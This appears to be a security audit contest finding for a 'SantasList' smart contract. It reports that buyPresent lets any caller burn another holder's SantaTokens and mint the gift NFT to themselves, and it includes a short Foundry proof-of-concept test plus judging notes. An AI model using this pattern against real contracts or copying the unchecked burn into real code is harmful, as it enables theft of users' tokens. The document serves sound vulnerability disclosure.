Submission Details
Severity:
Other users can steal NFTs from token holders
Summary
A flawed implementation in buyPresent allows any user to call the function, providing a user with SantaTokens as the presentReceiver and usurping their gift.
Vulnerability Details
Any user can inspect the SantaToken holders and invoke buyPresent with a user as the presentReceiver. However, _mintAndIncrement uses msg.sender as the recipient, leading to the improper acquisition of NFTs.
Impact
Friends of EXTRA_NICE may be unable to claim their gifts.
POC
function testAnyoneIsAbleToBurnHolderToken() external {
vm.startPrank(address(santasList));
santaToken.mint(user);
vm.stopPrank();
vm.startPrank(user2);
santasList.buyPresent(user);
vm.stopPrank();
uint256 nftUserBalance = santasList.balanceOf(user2);
assertEq(nftUserBalance, 1);
}
Tools used
Foundry
Updates
Lead Judging Commences
inallhonesty about 2 years ago
Submission Judgement Published Assigned finding tags:
buyPresent should use msg.sender
Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.
Rewards breakdown
nSLOC
116This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.